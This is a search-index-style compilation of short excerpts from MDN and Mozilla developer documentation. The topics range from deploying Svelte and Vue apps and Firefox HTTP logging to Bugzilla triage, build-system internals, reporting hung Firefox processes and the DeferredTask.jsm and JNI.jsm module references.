...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Deployment and next steps - Learn web development
pp's root directory now. you might get a warning, but you can ignore this for now. our whole app is now just 21 kb — 8.3 kb when gzipped. there are no additional runtimes or dependencies to download, parse, execute, and keep running in memory. svelte analyzed our components and compiled the code to vanilla javascript. a look behind the svelte compilation process by default, when you create a
new app with npx degit sveltejs/template my-svelte-project, svelte will use rollup as the module bundler. note: there is also an official template for using webpack and also many community-maintained plugins for other bundlers. in the file package.json you can see that the dev and start scripts are just calling rollup: "scripts": { "build": "rollup -c", "dev": "rollup -c -w", "start": "sir...
...everal online services that allow you to automatically deploy your site whenever you push changes to a git repository. most of them involve setting up a deployment pipeline that gets triggered on every git push, and takes care of building and deploying your web site. to demonstrate this, we will deploy our todos app to gitlab pages. first you'll have to register at gitlab and then create a
new project. give you
new project a short, easy name like "mdn-svelte-todo". you will have a remote url that points to your
new gitlab git repository, like git@gitlab.com:[your-user]/[your-project].git. before you start to upload content to your git repository, it is a good practice to add a .gitignore file to tell git which files to exclude from source control. in our case we will tell git to ...
...you start to upload content to your git repository, it is a good practice to add a .gitignore file to tell git which files to exclude from source control. in our case we will tell git to exclude files in the node_modules directory by creating a .gitignore file in the root folder of your local project, with the following content: node_modules/ now let's go back to gitlab. after creating a
new repo gitlab will greet you with a message explaining different options to upload your existing files. follow the steps listed under the push an existing folder heading: cd your_root_directory # go into your project's root directory git init git remote add origin https://gitlab.com/[your-user]/mdn-svelte-todo.git git add . git commit -m "initial commit" git push -u origin master note: you...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Vue resources - Learn web development
essons. vue school — another paid education platform specializing in vue. building and publishing your vue app the vue cli also provides us with tools for preparing our app for publishing to the web. you can do this like so: if your local server is still running, end it by pressing ctrl + c in the terminal. next, run the npm run build (or yarn build) in the console. this will create a
new dist directory containing all of your production ready files. to publish your site to the web, copy the contents of this folder to your hosting environment. note: the vue cli docs also include a specific guide on how to publish your app to many of the common hosting platforms. vue 3 vue 3 is a major release of the framework with a lot of major changes. it went into active beta in april, 2020...
... all of your production ready files. to publish your site to the web, copy the contents of this folder to your hosting environment. note: the vue cli docs also include a specific guide on how to publish your app to many of the common hosting platforms. vue 3 vue 3 is a major release of the framework with a lot of major changes. it went into active beta in april, 2020. ...
...his folder to your hosting environment. note: the vue cli docs also include a specific guide on how to publish your app to many of the common hosting platforms. vue 3 vue 3 is a major release of the framework with a lot of major changes. it went into active beta in april, 2020. the biggest change is a
new composition api that works as an alternative to the current property-based api. in this
new api, a single setup() function is used on the component. only what you return from this function is available in your <template>s. you are required to be explicit about "reactive" properties when using this api. vue handles this for you using the options api. this makes the
new api typically considered a more advanced use case. there are also a handful of other changes, including a change in how...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Styling Vue components with CSS - Learn web development
abel, however, already denotes the purpose of the form. to avoid repeating ourselves, let's wrap our label in an <h2>. there are a few other global css styles which we can add as well. we'll also add the input__lg class to our <input> element. ...
... few other global css styles which we can add as well. we'll also add the input__lg class to our <input> element. update your todoform template so that it looks like this: <template> <form @submit.prevent="onsubmit"> <h2 class="label-wrapper"> <label for="
new-todo-input" class="label__lg"> what needs to be done? </label> </h2> <input type="text" id="
new-todo-input" name="
new-todo" autocomplete="off" v-model.lazy.trim="label" class="input__lg" /> <button type="submit" class="btn btn__primary btn__lg"> add </button> </form> </template> let's also add the stack-large class to the <ul> tag in our app.vue file. this will help improve the spacing of our to-do items a bit. update it as follows: <ul aria-la...
...esponsible, and fix the problem. this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, preventing them from colliding globally. ...
...ources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a
new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app ...
Implementing feature detection - Learn web development
ils. writing your own feature detection tests in this section, we'll look at implementing your own feature detection tests, in both css and javascript. css you can write tests for css features by testing for the existence of element.style.property (e.g. paragraph.style.transform) in javascript. a classic example might be to test for flexbox support in a browser; for browsers that support the
newest flexbox spec, we could use a flexible and robust flex layout. for browsers that don't, we could use a floated layout that works ok, although it is slightly more brittle and hacky, and not as cool-looking. let's implement something that demonstrates this, although we'll keep it simple for now. start by making local copies of our css-feature-detect.html, flex-layout.css, float-layout.css, an...
...and robust flex layout. for browsers that don't, we could use a floated layout that works ok, although it is slightly more brittle and hacky, and not as cool-looking. let's implement something that demonstrates this, although we'll keep it simple for now. start by making local copies of our css-feature-detect.html, flex-layout.css, float-layout.css, and basic-styling.css files. save them in a
new directory. we will add the html5 shiv to our example too so that the html5 semantic elements will style properly in older versions of ie. download the latest version (see manual installation), unzip the zip file, copy the html5shiv-printshiv.min.js and html5shiv.min.js files into your example directory, and link to one of the files by putting the following under your <title> element: <script s...
...y, sign in to a google account, go to the get a key/authentication page, then click the blue get a key button and follow the instructions. ...
...if it is, we run some code that gets your device's cur...
Accessibility Features in Firefox
e are a couple of success stories from businesses who contributed accessibility code because they needed an accessible web browser which supported their software: contributes accessible web applications (dhtml and ajax) ibm realized it needed a way to enable accessibility for ever more powerful web applications, beyond what you see on typical web pages today. rather than go and write their own
new web browser, ibm decided to trust in the openness of the mozilla community, which accepted ibm's significant contributions. for example, ibm has delivered over 50,000 lines of code to enable accessibility in firefox on windows and especially for this
new powerful world of "web applications". a web application may be an easier-to-use online tax assistant, a web calendar or a live sports statistics...
...ine tax assistant, a web calendar or a live sports statistics page, which is familiar in that it acts much like a desktop application. whether the current buzzword for this technology is "dhtml", "ajax" or "web 2.0" doesn't really matter. this fact remains: the web is changing to become more interactive and less like a bunch of plain documents. firefox is currently the only browser to support the
newly evolving standards for making these web applications accessible. companies such as yahoo! have announced they are already working with the technology their
new richer interfaces accessible with this
new technology. developers, please see our dhtml accessibility documentation and get involved in writing tools and websites using this
new technology. sun contributes code to improve accessibility ...
...thanks to sun's efforts we already have excellent support for the gnome onscreen keyboard (gok). meanwhile, ibm has joined sun's effort to make firefox as screen reader accessible on unix as it is on windows, because the same core accessibility work applies to linux. ...
...inux. the two companies anticipate that in 2007, firefox will support topnotch screen reader accessibility on unix and linux. that's the great thing about the open firefox community model and source code license -- anyone can contribute, and everyone benefits. downloads, support and more information firefox information and downloads general online support and community forums accessibility
newsgroup for users. can also be accessed as a mailing list. accessibility compliance statement (section 508): http://www.mozilla.com/firefox/vpat.html ...
Information for External Developers Dealing with Accessibility
ssistive technologies, containing practical tips and the details of mozilla's implementation. accessibility api cross reference should be helpful at anyone looking at implementing accessibility api support for a product on multiple platforms. contains info on accessible roles, states and events. accessible toolkit checklist a list of what needs to be done for accessibility when building
new toolkits, widget by widget. in addition, here is a list of official keyboard ui guidelines for each desktop: windows keys: guidelines on keyboard ui design and on implementing keyboard shortcuts: an excellent resource from microsoft. mac keys: keyboard shortcuts quick reference for mac os x complete reference on keyboard for mac os x: this document list all functions o...
...useful resources links for those who wish to learn more about web accessibility or open source accessibility. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...or open source accessibility. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
What to do and what not to do in Bugzilla
riaging by leaving comments with useful information on the bug that will help to confirm it. the same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly. ...
...m privilege the canconfirm privilege allows you to confirm bugs and also to start your bug reports in the confirmed state (
new). it also governs which bug entry form you are presented with first (either the guided or advanced forms). confirming unconfirmed bugs a useful general guide for confirming unconfirmed bugs. a guide for confirming layout bugs (bugs in web page rendering) reporting
new bugs you should report a bug in the
new state after going through the triaging process as described in the two above-mentioned guides. you should look at all the open bugs you've reported (see the "my bugs" link at the bottom of every bugzilla page) at least every two months and test whether they still exist. editbugs privilege the more powerful editbugs privilege gives you the privileges of ...
... link at the bottom of every bugzilla page) at least every two months and test whether they still exist. editbugs privilege the more powerful editbugs privilege gives you the privileges of canconfirm and also the ability to edit most aspects of a bug. therefore, don't abuse your privileges. resolving bugs some general rules: when you resolve a bug, cc yourself so that you are informed when
new facts come up. the conditions for not resolving a bug always overrule the conditions for resolving a bug. when in doubt about resolving a bug, leave it alone! resolving bugs as duplicate in general
newer bugs should be marked as duplicates of older bugs, except when the
newer bug contains more information (bug description clearer, patch already attached, lots of people already cc'ed, etc.). ...
...omplete the problem is vaguely described with no steps to reproduce, or is a support request. the reporter should be directed to the product's support page for help diagnosing the issue. if there are only a few comments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce. if the bug is long, when enough info is provided a
new bug should be filed and the original bug marked as a duplicate of it. resolving bugs as invalid you should resolve a bug as invalid if the issue described in the bug is clearly not a mozilla bug or if the issue is intended behavior. the exceptions are bugs in other software which we have to work around and bugs that involve certain core gecko modules. bugs covered by this exception should not b...
Choosing the right memory allocator
imemory::realloc() ns_free() == nsimemory::free() nsmemory::clone() (note: not part of nsimemory) see infallible memory allocation for information about how to allocate memory infallibly; that is, how to use memory allocators that will only return valid memory buffers, and never return null. allocating strings in xpcom code see "callee-allocated parameters" in the xpcom strings guide; use to
newcstring() or to
newunicode() to allocate strings that will be passed out. these methods convert ns*string to nsimemory allocated, unowned [pruni]char* buffers. do not use nscrt::strdup for returning values from an xpcom object, as that uses a different allocator. nspr memory allocators you should only use the nspr allocators within nspr or the security code located in the /security/ subtree of t...
... different allocator. nspr memory allocators you should only use the nspr allocators within nspr or the security code located in the /security/ subtree of the source code. avoid using them elsewhere. ...
... should only use the nspr allocators within nspr or the security code located in the /security/ subtree of the source code. avoid using them elsewhere. ...
... nspr allocators within nspr or the security code located in the /security/ subtree of the source code. avoid using them elsewhere. ...
Debugging on Mac OS X
le's documented steps for disabling system integrity protection (sip). note that disabling sip bypasses hardened runtime restrictions which can mask some bugs that only occur with hardened runtime so it is recommended to test fixes with sip enabled. disabling sip has system security implications that should be understood before taking this step. creating an xcode project if you try to create a
new xcode project in an existing directory then xcode will delete its existing contents (xcode will warn you beforehand). to work around that, the steps below have you initialize the project outside the mozilla source tree, close the project, copy the .xcodeproj project "file" into the source tree, and then reopen the project to finish setting it up. note also that since xcode 7.3.1 it doesn't seem ...
... doesn't seem to be possible to have the xcode project live outside the source tree. if you try to do that then xcode will simply copy the source files under the project directory rather than link to them (still the case in xcode 10?) which breaks debugging and the possibility to modify-rebuild-relaunch from inside xcode. these steps were last updated for xcode 10.3: open xcode, and create a
new project with file >
new project. select the "cross-platform" tab then under the "other" template group select the "empty" project type. the click next. name the project and click next. create/select a temporary directory to contain the project and then click create. before going any further, close the project (file > close project) and open finder. find the *.xcodejproj directory in the temporar...
...lick add. (these will then be progressively added under the root item <project-name> in the left-hand pane. note that subdirectories may initially appear to be empty, but they too will progressively be populated as xcode processes the sourse files. ...
...irectories may initially appear to be empty, but they too will progressively be populated as xcode processes the sourse files. once done, you should be able to open any file quickly by hitting cmd-shift-o and typing in the name of a file.) in the product menu, select scheme >
new scheme and name your scheme (for example, "debug"). after you click ok, xcode should open the settings window for the
new scheme. (if not, then open its settings from the product > edit scheme menu.) select "run" on the left-hand side of the settings window, then select the "info" tab. set the executable by clicking on "none" and selecting "other...". a
new dialog titled "choose an executable to launch" will pop up. browse to the .app file that you want to debug (firefox.app, nightlydebug.app etc). the .app file is...
HTTP logging
s the best and easiest way to do http logging. at any point during while your browser is running, you can turn logging on and off. this allows you to capture only the "interesting" part of the browser's behavior (i.e. your bug), which makes the http log much smaller and easier to analyze. launch the browser and get it into whatever state you need to be in just before your bug occurs. open a
new tab and type in "about:networking" into the url bar. go to the "logging section" adjust the location of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log environment variable (see below). generally the default list is ok, unless a mozilla developer has told you to modify it. click on start logging. ...
...browser history, so files can get rather large (they compress well :) setting environment variables differs by operating system. don't let the scary-looking command line stuff frighten you off; it's not hard at all! windows if firefox is already running, exit out of it. open a command prompt. on windows xp, you can find the "run..." command in the start menu's "all programs" submenu. on all
newer versions of windows, you can hold down the windows key and press "r". type cmd and press enter, a
new command prompt window with a black background will appear. copy and paste the following lines one at a time into the command prompt window. press the enter key after each one.: for 64-bit windows: set moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,nshostresolver:5,cook...
...e whatever problem it is that you're having. once you've reproduced the problem, exit firefox and look for the generated log files in your temporary directory. you can type "%temp%" directly into the windows explorer location bar to get there quickly. linux this section offers information on how to capture http logs for firefox running on linux. quit out of firefox if it's running. open a
new shell. the commands listed here assume a bash-compatible shell. copy and paste the following commands into the shell one at a time. make sure to hit enter after each line. export moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,nshostresolver:5,cookie:5 export moz_log_file=/tmp/log.txt cd /path/to/firefox ./firefox reproduce the problem you're debugging. when the problem...
... it's possible to start logging in a bit simpler way than setting environment variables: using command line arguments. here is an example for the windows platform, on other platforms we accept the same form of the arguments: if firefox is already running, exit out of it. open a command prompt. on windows xp, you can find the "run..." command in the start menu's "all programs" submenu. on all
newer versions of windows, you can hold down the windows key and press "r". copy and paste the following line into the "run" command window and then press enter: for 32-bit windows: "c:\program files (x86)\mozilla firefox\firefox.exe" -moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,nshostresolver:5,cookie:5 -moz_log_file=%temp%\log.txt for 64-bit windows: "c:\program fi...
How Mozilla's build system works
res describing the build configuration were derived from them. it took 2.40s wall time just to read these files and produce the data structures. the 1,276 data structures were fed into the build backend, which then determined it had to manage 2,188 files derived from those data structures. most of the files already existed and didn't need to be changed. however, one was updated as a result of the
new configuration. the whole process took 5.03s. of this, only 3.79s were in cpu time. this means we spent roughly 25% of the time waiting on i/o. phase 3: invocation of the build backend when most people think of the build system, they think of phase 3. this is where we take all the code in the tree and produce the firefox binary program file or the application you are creating. phase 3 effectivel...
...cript. however, they are unlike most python scripts. the execution environment is strictly controlled, so moz.build files can only perform a limited set of operations. moz.build files are limited to performing the following actions: calling functions that are explicitly made available to the moz.build environment. assigning to a well-defined set of variables whose name is uppercase. creating
new variables whose name is not uppercase (this includes defining functions). moz.build files cannot do the following: import modules. open files. use the print statement or function. reference many of python's built-in or global functions (they are not made available to the execution environment). the most important actions of moz.build files are #1 and #2 from the above list. these are ho...
... main types of libraries that are built in mozilla: components are shared libraries (except in static builds), which are installed to dist/bin/components. components are not linked against by any other library. non-component shared libraries include libraries such as libxpcom and libmozjs. these libraries are installed to dist/bin and are linked against. you will probably not need to create a
new library of this type. static libraries are often used as intermediate steps to building a shared library, if there are source files from several directories that are part of the shared library. static libraries may also be linked into an executable. non-component shared libraries a non-component shared library is useful when there is common code that several components need to share and shari...
...art of the shared library. static libraries may also be linked into an executable. non-component shared libraries a non-component shared library is useful when there is common code that several components need to share and sharing it through xpcom is not appropriate or not possible. as an example, below is a portion of the makefile for libmsgbaseutil, which is linked against by all of the main
news components: depth = ../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = msgbaseutil library_name = msgbaseutil export_library = 1 short_libname = msgbsutl notice that the only change from the component example above is that is_component is not set. when this is not set, a ...
Updating NSPR or NSS in mozilla-central
the nspr and nss sources in mozilla-central are maintained by the nspr and nss teams and always taken from exports of hg tags. do not check in individual changes. if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a
new hg tag to mozilla-central. ...
...es. if you check in an individual change by mistake, your change will be lost when the nspr and nss teams push a
new hg tag to mozilla-central. ...
...nspr/nss are separately maintained and released, the mozilla hg server rejects accidental changes/forking, if the required keywords are missing in the commit comment.) if nspr or nss must be upgraded to a
new static tag, follow this procedure: before starting, make sure your local repository is updated to mozilla-central tip and that there are no local changes: $ hg status -mard pull the
new sources $ python client.py update_nspr nspr_tag_name or $ python client.py update_nss nss_tag_name if you update a branch older than mozilla 17 (without the change from bug 782784), you must manually add a dummy change (add or remove a blank line) to force a rebuild of nspr: mozilla/nsprpub/config/prdepend.h or nss: mozilla/security/nss/coreconf/coreconf.dep check directory ...
...or nss: mozilla/security/nss/coreconf/coreconf.dep check directory mozilla/nsprpub/patches/ for patches that need to be applied to nspr, and directory mozilla/security/patches/ for patches that need to be applied to nss. apply the patches. if merging is required, update the patch file. if a patch is no longer needed, remove the patch from the directory and update the readme file. check for
new or removed files $ hg addremove -n review the output to make sure it looks correct update the minimum required system nss version in old-configure.in. this is for builds with --with-system-nss. for example, in the following, "3.16.1" would be replaced with the
new nss version. moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 )...
Eclipse CDT Manual Setup
se window opens. before you proceed any further, check that your changes to eclipse's memory limits have taken effect and are present in eclipse/help > about eclipse > installation details > configuration. to avoid confusion in this and the following sections, note that "workspace preferences" and "project properties" are different things (we'll get to the details below). ...
...gen". select "c/c++ > editor > content assist" and set the auto-activation delay to 0 so that autocomplete suggestions don't seem to be laggy. (sadly, there is no auto-activation option to activate autocomplete suggestion., so as soon as you type any alphabetical character that may begin with a symbol name like there is in other ides.) select "c/c++ > editor > save actions" and deselect "ensure
newline at the end of file". select "c/c++ > editor > scalability" and set "enable scalability mode when the number of lines in the file is more than:" to something larger, like 100000. select "run/debug > console" and deselect "limit console output". if you want to increase the text size in the editor, select "general > appearance > colors and fonts", select "basic > text font", and edit the font...
...er of lines in the file is more than:" to something larger, like 100000. select "run/debug > console" and deselect "limit console output". if you want to increase the text size in the editor, select "general > appearance > colors and fonts", select "basic > text font", and edit the font size. creating an eclipse project to create an eclipse project for your mozilla source tree, select "file >
new > makefile project with existing code". in the "import existing code" window that opens, enter a meaningful project name that identifies your mozilla source tree, set the code location to the root of your source tree, select an appropriate toolchain (e.g., "macosx gcc"), and click finish. the status bar at the bottom right of the window should now show that eclipse is "refreshing the workspace" ...
...dt needs to be told separately about c++11 mode. to do this, go to "preferences -> c/c++ -> build -> settings -> [discovery] tab -> cdt gcc built-in compiler settings" and add the flag "-std=c++11" at the end of the field labeled "command to get compiler specs". in cdt 8.3 (unreleased as of august 2013), there will be a more user-friendly way to specify this (see http://wiki.eclipse.org/cdt/user/
newin83#toolchains). building the index once you see the end of the build output in the console tab and the build item has disappeared from the progress tab, you can start indexing the source. if indexing started automatically (see the progress tab), cancel it, since there seems to be a bug that makes it give bad results when it starts automatically at this stage. right-click the project root in th...
Interface Compatibility
one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology preview. this includes css properties that begin with the -moz- prefix (e.g. ...
...ures to the web and to our applications, programming interfaces change. the rules which govern interface changes are different depending on the consumers and the languages involved. web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. any changes, including
new features, must have super-review. one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology preview. this includes css properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or javascript apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be removed or replaced with standard interfaces in future re...
...s may be removed or replaced with standard interfaces in future releases of mozilla. jetpack the jetpack sdk and apis are not yet complete. the stable version 1.0 of the jetpack sdk is planned for later in 2010. documented apis which are shipped as part of the jetpack sdk are designed to work in future versions of firefox. achieving this compatibility may require rebuilding the extension with a
new version of the jetpack sdk. javascript/xul interfaces traditional extensions written using xul overlays and xpcom have access to the full power of the mozilla platform. with the power, however, comes the understanding that the mozilla platform is constantly changing and many apis may change in future versions of firefox. in micro/maintenance releases, there should be no incompatible changes to ...
...es, but javascript functions, xbl bindings, and any other visible behavior. between major releases, there is no guarantee of interface stability. changes should not be taken lightly, however: especially if a change is likely to affect many extensions, the change should try to maintain backwards compatibility by using optional/default parameters or other javascript techniques. where appropriate,
new apis should be designed so that they are compatible with future plans, and clients do not need xpcom boilerplate. this may involve using javascript modules, passing named parameters using objects, or other similar techniques. binary interfaces traditionally, mozilla has maintained a set of xpcom interfaces and functions with the @status frozen marking. using these interfaces, and using dynamic c...
Reviewer Checklist
in c++, wrapper-cache as needed. ...
...at the appropriate level, bearing in mind personally identifiable information, but also considering the expense of computing and recording log output. [fennec: checking for log levels is expensive unless you're using logger.] style follow the style guide for the language and module in question. follow local style for the surrounding code, even if that local style isn't formally documented.
new files have license declarations and modelines.
new js files should use strict mode. trailing whitespace (git diff and splinter view both highlight this, as does hg with the color extension enabled). whitespace can be fixed easily in mercurial using the checkfiles extension. in git, you can use git rebase --whitespace=fix. security issues there should be no writing to arbitrary files outsid...
...bases, messages tag messages with ids to disambiguate callers. idl uuids are updated when the interface is updated. android permissions should be 'grouped' into a common release to avoid breaking auto-updates. android apis added since froyo should be guarded by a version check. preffability if the feature being worked on is covered by prefs, make sure they are hooked up. if working on a
new feature, consider adding prefs to control the behavior. consider adding prefs to disable the feature entirely in case bugs are found later in the release cycle. [fennec: "prefs" can be gecko prefs, sharedpreferences values, or build-time flags. which one you choose depends on how the feature is implemented: a pure java service can't easily check gecko prefs, for example.] strings there sho...
...not be a copy of the bug summary). the first line should be a short description (since only the first line is shown in the log), and additional description, if needed, should be present, properly wrapped, in later lines. adequately document any potentially confusing pieces of code. flag a bug with dev-doc-needed if any addon or web apis are affected. use javadocs extensively, especially on any
new non-private methods. when moving files, ensure blame/annotate is preserved. accessibility for html pages, images should have the alt attribute set when appropriate. similarly, a button that is not a native html button should have role="button" and the aria-label attribute set. [fennec: make sure contentdescription is set for parts of the ui that should be accessible] ...
Experimental features in Firefox
these nightly builds of firefox typically include experimental or partially-implemented features, including those for proposed or cutting-edge web platform standards. this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary. you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities. to test these experimental features, you need to download firefox nightly or firefox developer edition. which you need is described alongside each feature's description below. ...
... 30 no developer edition 30 no beta 30 no release 30 no preference name canvas.hitregions.enabled webgl: draft extensions when this preference is enabled, any webgl extensions currently in "draft" status which are being tested are enabled for use. currently, there are no webgl extensions being tested by firefox. webgpu api this
new api provides low-level support for performing computation and graphics rendering using the graphics processing unit (gpu) of the user's device or computer. the specification is still a work-in-progress. see bug 1602129 for our progress on this api. release channel version added enabled by default? nightly 73 no developer edition 73 no bet...
...this makes it much easier to create reusable stylesheets for use with shadow dom. our implementation is not yet complete; see bug 1520690 for more details. release channel version added enabled by default? nightly 73 no developer edition 73 no beta 73 no release 73...
...eference must be enabled (set to true) to allow ftp to be used. release channel version added enabled by default? nightly 77 yes developer edition 77 no beta 77 no release 77 no preference name network.ftp.enabled developer tools mozilla's developer tools are constantly evolving. we experiment with
new ideas, add
new features, and test them on the nightly and developer edition channels before letting them go through to beta and release. the features below are the current crop of experimental developer tool features. color scheme simulation adds an option to simulate different color schemes allowing to test @prefers-color-scheme media queries. using this media query lets your style sheet speci...
mozbrowseropentab
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseropentab event is fired when a
new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a
new tab (for example ctrl/cmd + click.) general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean ...
... type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the
new document loaded. ...
How to Report a Hung Firefox
o has command-line options to kill processes with other names or by process id. run the crashfirefox.exe tool. the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. the crash report should look something like this report, which is an example of bug 1132241. create a
new bug report at bugzilla.mozilla.org using this link. linux and mac on linux and mac (firefox >=27), sending sigabrt to a process will trigger the crash reporter. you can use any process monitoring tool to find the firefox process id (pid). then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill...
... the firefox process id (pid). then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. create a
new bug report at bugzilla.mozilla.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox...
... do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the url bar and click on the top listing. create a
new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. getservice(ci.nsiwindowmediator); let win = wm.getmostrecentwindow("navigator:browser"); let browser = win.gbrowser.selectedbrowser; if (bro...
...this won't produce useful results on a regular release/beta build. instead of crashing firefox, more advanced developers w...
DeferredTask.jsm
the same task before the delay will be coalesced. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards. with deferredtask, the task is delayed by a few milliseconds and, should a
new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes. the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, li...
...ccur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes. the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like this: var task =
new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor. method overview bool ispending();obsolete since gecko 28 void start();obsolete since gecko 28 void flush();obsolete since gecko 28 void cancel();obsolete since gecko 28 void arm(); void disarm(); promise finalize(); ...
...n from start to finish will happen again, immediately after the current execution terminates; then the returned promise will be resolved. if the task is running and the timer is not armed, the returned promise will be resolved when the current execution terminates. if the task is not running and the timer is armed, then the task is started immediately, and the returned promise resolves when the
new execution terminates. if the task is not running and the timer is not armed, the method returns a resolved promise. promise finalize(); example firefox 28 note this section describes about deferredtask.jsm in firefox 28.0 or higher. set up a function or an asynchronous task whose execution can be triggered after a defined delay. multiple attempts to run the task before the delay ...
... multiple attempts to run the task before the delay has passed are coalesced. the task cannot be re-entered while running, but can be executed again after a previous run finished. a common use case occurs when a data structure should be saved into a file every time the data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask =
new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported. }, 2000); // the task is ready, but will not be executed until requested. the "arm" method can be used to start the internal timer that will result in the eventual execution of the task. multiple attempts to arm the timer don't introduce further delays: savedeferredtask.arm(); // the t...
JNI.jsm
clared similar to js-ctypes but in a very different syntax. unlike c from js-ctypes, defining constants is not a manual magic number method in jni, it is declared the same way we define functions, except in jni they are called fields. method overview cdata getforthread(); cdata loadclass(cdata ajenv, string aclassfullyqualifiedname, [optional] object adeclares); cdata
newstring(cdata ajenv, string astr); string readstring(cdata ajenv, cdata ajavastring); void unloadclasses(); methods getforthread() blah blah cdata getforthread(); parameters this function does not take any arguments. return value blah blah loadclass() blah blah cdata loadclass( ajenv, afullyqualifiedname, [optional] object adeclares ); parameters ajenv...
...nd for geckointerface we would use "org/mozilla/gecko/geckoappshell$geckointerface". adeclares optional if this is omitted, then afullyqualifiedname must be an array type. if this is provided, then afullyqualifiedname must be a class name. a required object that contains up to five fields of key names: constructors, fields, static_fields, methods, and static_methods. return value blah blah
newstring() blah blah cdata
